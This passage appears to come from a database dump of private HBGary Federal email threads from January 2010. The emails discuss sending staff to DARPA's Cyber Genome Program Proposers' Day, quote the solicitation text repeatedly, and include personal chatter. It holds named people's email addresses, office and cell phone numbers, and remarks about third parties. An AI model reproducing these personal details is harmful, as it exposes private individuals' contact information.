and academia; it is not intended for parties who are notinterested in bidding or participating on a bidding team, e.g. the\r\npublic or members of the press. Government attendees will be invitedseparately. Organizations interested in participating in the programwho are not able to attend the Proposers&#39; Day, may still register onthe teaming website: http://www.davincinetbook.com/teams.\r\nAttendance is restricted to U.S. Citizens only. Attendees are requiredto submit a U.S. Citizenship Verification form in order to attend thisconference. The completed Citizenship Form must be emailed to:\r\nDARPA-BAA-10-36@darpa.mil no later than 5:00 p.m. EST January 27,2010. The Citizenship Form is available for download at theregistration website. Attendees will be required to present government\r\nissued photo identification upon entry to the event. Attendance is notrequired to propose to any associated BAA.Additionally, attendees who would like to present company overviews,discuss their technology expertise, and/or discuss teaming\r\nopportunities in scheduled presentations at the conference may requestto do so. Presentations may contain 5 slides and are limited tofifteen (15) minutes each (including logistical issues). Proposersdesiring to reserve a time to present at the Proposers&#39; Day Conference\r\nshould contact DARPA-BAA-10-36@darpa.mil as soon as possible, but nolater than the registration cutoff date for the Proposers&#39; DayConference.\r\nAll material to be displayed at the conference must be approved inadvance by both the organization that funded the research and theDARPA Program Manager. The DARPA Program Manager will screen theproposed material for sensitive but unclassified material and approve\r\nin advance any presentations. It is the presenter&#39;s responsibility toensure that all material they plan to present at the Proposers&#39; DayConference has been approved by the funding organization in advance.\r\nAfter the conference, there will be an opportunity to meetindividually with Dr. Michael VanPutte, the Cyber Genome ProgramManager. Please contact Larry Blankenship atlarry.blankenship.ctr@darpa.mil to schedule an individual session.\r\nContracting Office Address:3701 North Fairfax DriveArlington, Virginia 22203-1714Primary Point of Contact.:BAA Coordinator,BAA CoordinatorDARPA-BAA-10-36@darpa.mil\r\n--Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',16805,'aaron_hbgary_com/16805.html'),(1466,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000415.M284868P3547Q1466.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,','Re: Cyber Genome Program Proposers Day','Hi Rich,Keep in mind that the presentations will be made publicly available on FBO.gov after the industry day, so it is better to keep the charts high level -- save the details for your verbal presentation. &nbsp;TedOn Jan 25, 2010, at 8:18 PM, Rich Cummings wrote:Bob, Penny, Greg, Phil,&nbsp;I called &nbsp;and spoke with Ted and Aaron right after reading this as I was thinking WTF?&nbsp; &nbsp;Right now Aaron and I are planning to go.&nbsp; Greg are you interested in going?&nbsp; I’m putting together a presentation which I’ll send over for review.&nbsp; Any input is welcome.&nbsp;Are these guys reading our email? ;PRich&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 10:13 PMTo:&nbsp;Ted Vera; Penny C. Hoglund; Greg HoglundCc:&nbsp;Rich Cummings; Barr Aaron; Phil WallischSubject:&nbsp;Re: Cyber Genome Program Proposers Day&nbsp;Ted, Greg, Penny and Rich,&nbsp;Check this out.&nbsp; Ted sent out an email about DARPA\'s upcoming Cyber Genome Program Proposers\' Day.&nbsp; Did they get this idea from us?&nbsp; It looks like maybe DARPA will be awarding one or more contractors to develop a Cyber Genome.&nbsp;According to the info we can send up to 3 people and have to register by Jan 27.&nbsp; Let\'s figure out what we want to do.Solicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0Bob&nbsp;On Mon, Jan 25, 2010 at 9:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Hi Rich, Phil &amp; Bob,Aaron would like to attend, but has meetings scheduled with Senior VPsat NG and TASC. &nbsp;Would either of you Rich, Phil or Bob be able toattend?TedCyber Genome Program Proposers\' DaySolicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0Synopsis:Added: Jan 25, 2010 3:59 pmPROPOSERS\' DAY CONFERENCEDARPA will host a Proposers\' Day Workshop in support ofDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at theBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is toprovide information on the CYBER GENOME PROGRAM; promote additionaldiscussion on this topic; address questions from potential proposers;and provide a forum for potential proposers to present theircapabilities for teaming opportunities.A second Proposers\' Day Workshop will be held on February 8, 2010.Location will be in the Arlington, Virginia area and will be announcedon the Proposers\' Day website (http://safe.sysplan.com/sto/).PROGRAM OBJECTIVE AND DESCRIPTION:The objective of the Cyber Genome Program is to produce revolutionarycyber defense and investigatory technologies for the collection,identification, characterization, and presentation of properties andrelationships from collected digital artifacts of software, data,and/or users to support DoD law enforcement, counter intelligence, andcyber defense teams. Digital artifacts may be collected from livesystems (traditional computers, personal digital assistants, and/ordistributed information systems such as ‘cloud computers\'), from wiredor wireless networks, or collected storage media. The format mayinclude electronic documents or software (to include malicioussoftware - malware). The Cyber Genome Program will encompass severalprogram phases and technical areas of interest. Each of the technicalareas will develop the cyber equivalent of fingerprints or DNA tofacilitate developing the digital equivalent of genotype, as well asobserved and inferred phenotype in order to determine the identity,lineage, and provenance of digital artifacts and users.REGISTRATION INFORMATION Participants must register for the CYBERGENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January27, 2010, at the following website:&nbsp;http://safe.sysplan.com/sto/.Attendance will be limited to a maximum of three individuals perorganization. The Proposers\' Day is intended for participants fromindustry and academia; it is not intended for parties who are notinterested in bidding or participating on a bidding team, e.g. thepublic or members of the press. Government attendees will be invitedseparately. Organizations interested in participating in the programwho are not able to attend the Proposers\' Day, may still register onthe teaming website:&nbsp;http://www.davincinetbook.com/teams.Attendance is restricted to U.S. Citizens only. Attendees are requiredto submit a U.S. Citizenship Verification form in order to attend thisconference. The completed Citizenship Form must be emailed to:DARPA-BAA-10-36@darpa.mil&nbsp;no later than 5:00 p.m. EST January 27,2010. The Citizenship Form is available for download at theregistration website. Attendees will be required to present governmentissued photo identification upon entry to the event. Attendance is notrequired to propose to any associated BAA.Additionally, attendees who would like to present company overviews,discuss their technology expertise, and/or discuss teamingopportunities in scheduled presentations at the conference may requestto do so. Presentations may contain 5 slides and are limited tofifteen (15) minutes each (including logistical issues). Proposersdesiring to reserve a time to present at the Proposers\' Day Conferenceshould contact&nbsp;DARPA-BAA-10-36@darpa.mil&nbsp;as soon as possible, but nolater than the registration cutoff date for the Proposers\' DayConference.All material to be displayed at the conference must be approved inadvance by both the organization that funded the research and theDARPA Program Manager. The DARPA Program Manager will screen theproposed material for sensitive but unclassified material and approvein advance any presentations. It is the presenter\'s responsibility toensure that all material they plan to present at the Proposers\' DayConference has been approved by the funding organization in advance.After the conference, there will be an opportunity to meetindividually with Dr. Michael VanPutte, the Cyber Genome ProgramManager. Please contact Larry Blankenship atlarry.blankenship.ctr@darpa.mil&nbsp;to schedule an individual session.Contracting Office Address:3701 North Fairfax DriveArlington, Virginia 22203-1714Primary Point of Contact.:BAA Coordinator,BAA CoordinatorDARPA-BAA-10-36@darpa.mil--Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623&nbsp;\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',7838,'aaron_hbgary_com/7838.html'),(1467,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000415.M518369P3547Q1467.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Cyber Genome Program Proposers Day','wholly blast from the past batman!!!!I was reading through my facebook posts minding my own business, when whos comment did I see!!!!Derec Shuler commenting on a post by Michelle Magnetti!!!!Wow.On Jan 25, 2010, at 10:54 PM, Ted Vera wrote:Hi Rich,Keep in mind that the presentations will be made publicly available on FBO.gov after the industry day, so it is better to keep the charts high level -- save the details for your verbal presentation. &nbsp;TedOn Jan 25, 2010, at 8:18 PM, Rich Cummings wrote:Bob, Penny, Greg, Phil,&nbsp;I called &nbsp;and spoke with Ted and Aaron right after reading this as I was thinking WTF?&nbsp; &nbsp;Right now Aaron and I are planning to go.&nbsp; Greg are you interested in going?&nbsp; I’m putting together a presentation which I’ll send over for review.&nbsp; Any input is welcome.&nbsp;Are these guys reading our email? ;PRich&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 10:13 PMTo:&nbsp;Ted Vera; Penny C. Hoglund; Greg HoglundCc:&nbsp;Rich Cummings; Barr Aaron; Phil WallischSubject:&nbsp;Re: Cyber Genome Program Proposers Day&nbsp;Ted, Greg, Penny and Rich,&nbsp;Check this out.&nbsp; Ted sent out an email about DARPA\'s upcoming Cyber Genome Program Proposers\' Day.&nbsp; Did they get this idea from us?&nbsp; It looks like maybe DARPA will be awarding one or more contractors to develop a Cyber Genome.&nbsp;According to the info we can send up to 3 people and have to register by Jan 27.&nbsp; Let\'s figure out what we want to do.Solicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0Bob&nbsp;On Mon, Jan 25, 2010 at 9:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Hi Rich, Phil &amp; Bob,Aaron would like to attend, but has meetings scheduled with Senior VPsat NG and TASC. &nbsp;Would either of you Rich, Phil or Bob be able toattend?TedCyber Genome Program Proposers\' DaySolicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0Synopsis:Added: Jan 25, 2010 3:59 pmPROPOSERS\' DAY CONFERENCEDARPA will host a Proposers\' Day Workshop in support ofDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at theBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is toprovide information on the CYBER GENOME PROGRAM; promote additionaldiscussion on this topic; address questions from potential proposers;and provide a forum for potential proposers to present theircapabilities for teaming opportunities.A second Proposers\' Day Workshop will be held on February 8, 2010.Location will be in the Arlington, Virginia area and will be announcedon the Proposers\' Day website (http://safe.sysplan.com/sto/).PROGRAM OBJECTIVE AND DESCRIPTION:The objective of the Cyber Genome Program is to produce revolutionarycyber defense and investigatory technologies for the collection,identification, characterization, and presentation of properties andrelationships from collected digital artifacts of software, data,and/or users to support DoD law enforcement, counter intelligence, andcyber defense teams. Digital artifacts may be collected from livesystems (traditional computers, personal digital assistants, and/ordistributed information systems such as ‘cloud computers\'), from wiredor wireless networks, or collected storage media. The format mayinclude electronic documents or software (to include malicioussoftware - malware). The Cyber Genome Program will encompass severalprogram phases and technical areas of interest. Each of the technicalareas will develop the cyber equivalent of fingerprints or DNA tofacilitate developing the digital equivalent of genotype, as well asobserved and inferred phenotype in order to determine the identity,lineage, and provenance of digital artifacts and users.REGISTRATION INFORMATION Participants must register for the CYBERGENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January27, 2010, at the following website:&nbsp;http://safe.sysplan.com/sto/.Attendance will be limited to a maximum of three individuals perorganization. The Proposers\' Day is intended for participants fromindustry and academia; it is not intended for parties who are notinterested in bidding or participating on a bidding team, e.g. thepublic or members of the press. Government attendees will be invitedseparately. Organizations interested in participating in the programwho are not able to attend the Proposers\' Day, may still register onthe teaming website:&nbsp;http://www.davincinetbook.com/teams.Attendance is restricted to U.S. Citizens only. Attendees are requiredto submit a U.S. Citizenship Verification form in order to attend thisconference. The completed Citizenship Form must be emailed to:DARPA-BAA-10-36@darpa.mil&nbsp;no later than 5:00 p.m. EST January 27,2010. The Citizenship Form is available for download at theregistration website. Attendees will be required to present governmentissued photo identification upon entry to the event. Attendance is notrequired to propose to any associated BAA.Additionally, attendees who would like to present company overviews,discuss their technology expertise, and/or discuss teamingopportunities in scheduled presentations at the conference may requestto do so. Presentations may contain 5 slides and are limited tofifteen (15) minutes each (including logistical issues). Proposersdesiring to reserve a time to present at the Proposers\' Day Conferenceshould contact&nbsp;DARPA-BAA-10-36@darpa.mil&nbsp;as soon as possible, but nolater than the registration cutoff date for the Proposers\' DayConference.All material to be displayed at the conference must be approved inadvance by both the organization that funded the research and theDARPA Program Manager. The DARPA Program Manager will screen theproposed material for sensitive but unclassified material and approvein advance any presentations. It is the presenter\'s responsibility toensure that all material they plan to present at the Proposers\' DayConference has been approved by the funding organization in advance.After the conference, there will be an opportunity to meetindividually with Dr. Michael VanPutte, the Cyber Genome ProgramManager. Please contact Larry Blankenship atlarry.blankenship.ctr@darpa.mil&nbsp;to schedule an individual session.Contracting Office Address:3701 North Fairfax DriveArlington, Virginia 22203-1714Primary Point of Contact.:BAA Coordinator,BAA CoordinatorDARPA-BAA-10-36@darpa.mil--Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623&nbsp;\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7335,'aaron_hbgary_com/7335.html'),(1468,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000415.M838747P3547Q1468.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Cyber Genome Program Proposers Day','I\'ll check it out. &nbsp;Apparently he networks with her husband, both in real estate...On Jan 25, 2010, at 8:58 PM, Aaron Barr wrote:wholly blast from the past batman!!!!I was reading through my facebook posts minding my own business, when whos comment did I see!!!!Derec Shuler commenting on a post by Michelle Magnetti!!!!Wow.On Jan 25, 2010, at 10:54 PM, Ted Vera wrote:Hi Rich,Keep in mind that the presentations will be made publicly available on FBO.gov after the industry day, so it is better to keep the charts high level -- save the details for your verbal presentation. &nbsp;TedOn Jan 25, 2010, at 8:18 PM, Rich Cummings wrote:Bob, Penny, Greg, Phil,&nbsp;I called &nbsp;and spoke with Ted and Aaron right after reading this as I was thinking WTF?&nbsp; &nbsp;Right now Aaron and I are planning to go.&nbsp; Greg are you interested in going?&nbsp; I’m putting together a presentation which I’ll send over for review.&nbsp; Any input is welcome.&nbsp;Are these guys reading our email? ;PRich&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 10:13 PMTo:&nbsp;Ted Vera; Penny C. Hoglund; Greg HoglundCc:&nbsp;Rich Cummings; Barr Aaron; Phil WallischSubject:&nbsp;Re: Cyber Genome Program Proposers Day&nbsp;Ted, Greg, Penny and Rich,&nbsp;Check this out.&nbsp; Ted sent out an email about DARPA\'s upcoming Cyber Genome Program Proposers\' Day.&nbsp; Did they get this idea from us?&nbsp; It looks like maybe DARPA will be awarding one or more contractors to develop a Cyber Genome.&nbsp;According to the info we can send up to 3 people and have to register by Jan 27.&nbsp; Let\'s figure out what we want to do.Solicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0Bob&nbsp;On Mon, Jan 25, 2010 at 9:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Hi Rich, Phil &amp; Bob,Aaron would like to attend, but has meetings scheduled with Senior VPsat NG and TASC. &nbsp;Would either of you Rich, Phil or Bob be able toattend?TedCyber Genome Program Proposers\' DaySolicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0Synopsis:Added: Jan 25, 2010 3:59 pmPROPOSERS\' DAY CONFERENCEDARPA will host a Proposers\' Day Workshop in support ofDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at theBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is toprovide information on the CYBER GENOME PROGRAM; promote additionaldiscussion on this topic; address questions from potential proposers;and provide a forum for potential proposers to present theircapabilities for teaming opportunities.A second Proposers\' Day Workshop will be held on February 8, 2010.Location will be in the Arlington, Virginia area and will be announcedon the Proposers\' Day website (http://safe.sysplan.com/sto/).PROGRAM OBJECTIVE AND DESCRIPTION:The objective of the Cyber Genome Program is to produce revolutionarycyber defense and investigatory technologies for the collection,identification, characterization, and presentation of properties andrelationships from collected digital artifacts of software, data,and/or users to support DoD law enforcement, counter intelligence, andcyber defense teams. Digital artifacts may be collected from livesystems (traditional computers, personal digital assistants, and/ordistributed information systems such as ‘cloud computers\'), from wiredor wireless networks, or collected storage media. The format mayinclude electronic documents or software (to include malicioussoftware - malware). The Cyber Genome Program will encompass severalprogram phases and technical areas of interest. Each of the technicalareas will develop the cyber equivalent of fingerprints or DNA tofacilitate developing the digital equivalent of genotype, as well asobserved and inferred phenotype in order to determine the identity,lineage, and provenance of digital artifacts and users.REGISTRATION INFORMATION Participants must register for the CYBERGENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January27, 2010, at the following website:&nbsp;http://safe.sysplan.com/sto/.Attendance will be limited to a maximum of three individuals perorganization. The Proposers\' Day is intended for participants fromindustry and academia; it is not intended for parties who are notinterested in bidding or participating on a bidding team, e.g. thepublic or members of the press. Government attendees will be invitedseparately. Organizations interested in participating in the programwho are not able to attend the Proposers\' Day, may still register onthe teaming website:&nbsp;http://www.davincinetbook.com/teams.Attendance is restricted to U.S. Citizens only. Attendees are requiredto submit a U.S. Citizenship Verification form in order to attend thisconference. The completed Citizenship Form must be emailed to:DARPA-BAA-10-36@darpa.mil&nbsp;no later than 5:00 p.m. EST January 27,2010. The Citizenship Form is available for download at theregistration website. Attendees will be required to present governmentissued photo identification upon entry to the event. Attendance is notrequired to propose to any associated BAA.Additionally, attendees who would like to present company overviews,discuss their technology expertise, and/or discuss teamingopportunities in scheduled presentations at the conference may requestto do so. Presentations may contain 5 slides and are limited tofifteen (15) minutes each (including logistical issues). Proposersdesiring to reserve a time to present at the Proposers\' Day Conferenceshould contact&nbsp;DARPA-BAA-10-36@darpa.mil&nbsp;as soon as possible, but nolater than the registration cutoff date for the Proposers\' DayConference.All material to be displayed at the conference must be approved inadvance by both the organization that funded the research and theDARPA Program Manager. The DARPA Program Manager will screen theproposed material for sensitive but unclassified material and approvein advance any presentations. It is the presenter\'s responsibility toensure that all material they plan to present at the Proposers\' DayConference has been approved by the funding organization in advance.After the conference, there will be an opportunity to meetindividually with Dr. Michael VanPutte, the Cyber Genome ProgramManager. Please contact Larry Blankenship atlarry.blankenship.ctr@darpa.mil&nbsp;to schedule an individual session.Contracting Office Address:3701 North Fairfax DriveArlington, Virginia 22203-1714Primary Point of Contact.:BAA Coordinator,BAA CoordinatorDARPA-BAA-10-36@darpa.mil--Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623&nbsp;\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',11323,'aaron_hbgary_com/11323.html'),(1469,'2010-01-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000416.M101196P3547Q1469.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Cyber Genome Program Proposers Day','Did you send him a friend request?On Jan 25, 2010, at 8:58 PM, Aaron Barr wrote:wholly blast from the past batman!!!!I was reading through my facebook posts minding my own business, when whos comment did I see!!!!Derec Shuler commenting on a post by Michelle Magnetti!!!!Wow.On Jan 25, 2010, at 10:54 PM, Ted Vera wrote:Hi Rich,Keep in mind that the presentations will be made publicly available on FBO.gov after the industry day, so it is better to keep the charts high level -- save the details for your verbal presentation. &nbsp;TedOn Jan 25, 2010, at 8:18 PM, Rich Cummings wrote:Bob, Penny, Greg, Phil,&nbsp;I called &nbsp;and spoke with Ted and Aaron right after reading this as I was thinking WTF?&nbsp; &nbsp;Right now Aaron and I are planning to go.&nbsp; Greg are you interested in going?&nbsp; I’m putting together a presentation which I’ll send over for review.&nbsp; Any input is welcome.&nbsp;Are these guys reading our email? ;PRich&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 10:13 PMTo:&nbsp;Ted Vera; Penny C. Hoglund; Greg HoglundCc:&nbsp;Rich Cummings; Barr Aaron; Phil WallischSubject:&nbsp;Re: Cyber Genome Program Proposers Day&nbsp;Ted, Greg, Penny and Rich,&nbsp;Check this out.&nbsp; Ted sent out an email about DARPA\'s upcoming Cyber Genome Program Proposers\' Day.&nbsp; Did they get this idea from us?&nbsp; It looks like maybe DARPA will be awarding one or more contractors to develop a Cyber Genome.&nbsp;According to the info we can send up to 3 people and have to register by Jan 27.&nbsp; Let\'s figure out what we want to do.Solicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0Bob&nbsp;On Mon, Jan 25, 2010 at 9:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Hi Rich, Phil &amp; Bob,Aaron would like to attend, but has meetings scheduled with Senior VPsat NG and TASC. &nbsp;Would either of you Rich, Phil or Bob be able toattend?TedCyber Genome Program Proposers\' DaySolicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0Synopsis:Added: Jan 25, 2010 3:59 pmPROPOSERS\' DAY CONFERENCEDARPA will host a Proposers\' Day Workshop in support ofDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at theBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is toprovide information on the CYBER GENOME PROGRAM; promote additionaldiscussion on this topic; address questions from potential proposers;and provide a forum for potential proposers to present theircapabilities for teaming opportunities.A second Proposers\' Day Workshop will be held on February 8, 2010.Location will be in the Arlington, Virginia area and will be announcedon the Proposers\' Day website (http://safe.sysplan.com/sto/).PROGRAM OBJECTIVE AND DESCRIPTION:The objective of the Cyber Genome Program is to produce revolutionarycyber defense and investigatory technologies for the collection,identification, characterization, and presentation of properties andrelationships from collected digital artifacts of software, data,and/or users to support DoD law enforcement, counter intelligence, andcyber defense teams. Digital artifacts may be collected from livesystems (traditional computers, personal digital assistants, and/ordistributed information systems such as ‘cloud computers\'), from wiredor wireless networks, or collected storage media. The format mayinclude electronic documents or software (to include malicioussoftware - malware). The Cyber Genome Program will encompass severalprogram phases and technical areas of interest. Each of the technicalareas will develop the cyber equivalent of fingerprints or DNA tofacilitate developing the digital equivalent of genotype, as well asobserved and inferred phenotype in order to determine the identity,lineage, and provenance of digital artifacts and users.REGISTRATION INFORMATION Participants must register for the CYBERGENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January27, 2010, at the following website:&nbsp;http://safe.sysplan.com/sto/.Attendance will be limited to a maximum of three individuals perorganization. The Proposers\' Day is intended for participants fromindustry and academia; it is not intended for parties who are notinterested in bidding or participating on a bidding team, e.g. thepublic or members of the press. Government attendees will be invitedseparately. Organizations interested in participating in the programwho are not able to attend the Proposers\' Day, may still register onthe teaming website:&nbsp;http://www.davincinetbook.com/teams.Attendance is restricted to U.S. Citizens only. Attendees are requiredto submit a U.S. Citizenship Verification form in order to attend thisconference. The completed Citizenship Form must be emailed to:DARPA-BAA-10-36@darpa.mil&nbsp;no later than 5:00 p.m. EST January 27,2010. The Citizenship Form is available for download at theregistration website. Attendees will be required to present governmentissued photo identification upon entry to the event. Attendance is notrequired to propose to any associated BAA.Additionally, attendees who would like to present company overviews,discuss their technology expertise, and/or discuss teamingopportunities in scheduled presentations at the conference may requestto do so. Presentations may contain 5 slides and are limited tofifteen (15) minutes each (including logistical issues). Proposersdesiring to reserve a time to present at the Proposers\' Day Conferenceshould contact&nbsp;DARPA-BAA-10-36@darpa.mil&nbsp;as soon as possible, but nolater than the registration cutoff date for the Proposers\' DayConference.All material to be displayed at the conference must be approved inadvance by both the organization that funded the research and theDARPA Program Manager. The DARPA Program Manager will screen theproposed material for sensitive but unclassified material and approvein advance any presentations. It is the presenter\'s responsibility toensure that all material they plan to present at the Proposers\' DayConference has been approved by the funding organization in advance.After the conference, there will be an opportunity to meetindividually with Dr. Michael VanPutte, the Cyber Genome ProgramManager. Please contact Larry Blankenship atlarry.blankenship.ctr@darpa.mil&nbsp;to schedule an individual session.Contracting Office Address:3701 North Fairfax DriveArlington, Virginia 22203-1714Primary Point of Contact.:BAA Coordinator,BAA CoordinatorDARPA-BAA-10-36@darpa.mil--Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623&nbsp;\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',14422,'aaron_hbgary_com/14422.html'),(1470,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000416.M337260P3547Q1470.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Cyber Genome Program Proposers Day','first thing.On Jan 25, 2010, at 11:05 PM, Ted Vera wrote:Did you send him a friend request?On Jan 25, 2010, at 8:58 PM, Aaron Barr wrote:wholly blast from the past batman!!!!I was reading through my facebook posts minding my own business, when whos comment did I see!!!!Derec Shuler commenting on a post by Michelle Magnetti!!!!Wow.On Jan 25, 2010, at 10:54 PM, Ted Vera wrote:Hi Rich,Keep in mind that the presentations will be made publicly available on FBO.gov after the industry day, so it is better to keep the charts high level -- save the details for your verbal presentation. &nbsp;TedOn Jan 25, 2010, at 8:18 PM, Rich Cummings wrote:Bob, Penny, Greg, Phil,&nbsp;I called &nbsp;and spoke with Ted and Aaron right after reading this as I was thinking WTF?&nbsp; &nbsp;Right now Aaron and I are planning to go.&nbsp; Greg are you interested in going?&nbsp; I’m putting together a presentation which I’ll send over for review.&nbsp; Any input is welcome.&nbsp;Are these guys reading our email? ;PRich&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 10:13 PMTo:&nbsp;Ted Vera; Penny C. Hoglund; Greg HoglundCc:&nbsp;Rich Cummings; Barr Aaron; Phil WallischSubject:&nbsp;Re: Cyber Genome Program Proposers Day&nbsp;Ted, Greg, Penny and Rich,&nbsp;Check this out.&nbsp; Ted sent out an email about DARPA\'s upcoming Cyber Genome Program Proposers\' Day.&nbsp; Did they get this idea from us?&nbsp; It looks like maybe DARPA will be awarding one or more contractors to develop a Cyber Genome.&nbsp;According to the info we can send up to 3 people and have to register by Jan 27.&nbsp; Let\'s figure out what we want to do.Solicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0Bob&nbsp;On Mon, Jan 25, 2010 at 9:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Hi Rich, Phil &amp; Bob,Aaron would like to attend, but has meetings scheduled with Senior VPsat NG and TASC. &nbsp;Would either of you Rich, Phil or Bob be able toattend?TedCyber Genome Program Proposers\' DaySolicitation Number: DARPA-SN-10-22Agency: Other Defense AgenciesOffice: Defense Advanced Research Projects AgencyLocation: Contracts Management Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0Synopsis:Added: Jan 25, 2010 3:59 pmPROPOSERS\' DAY CONFERENCEDARPA will host a Proposers\' Day Workshop in support ofDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at theBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is toprovide information on the CYBER GENOME PROGRAM; promote additionaldiscussion on this topic; address questions from potential proposers;and provide a forum for potential proposers to present theircapabilities for teaming opportunities.A second Proposers\' Day Workshop will be held on February 8, 2010.Location will be in the Arlington, Virginia area and will be announcedon the Proposers\' Day website (http://safe.sysplan.com/sto/).PROGRAM OBJECTIVE AND DESCRIPTION:The objective of the Cyber Genome Program is to produce revolutionarycyber defense and investigatory technologies for the collection,identification, characterization, and presentation of properties andrelationships from collected digital artifacts of software, data,and/or users to 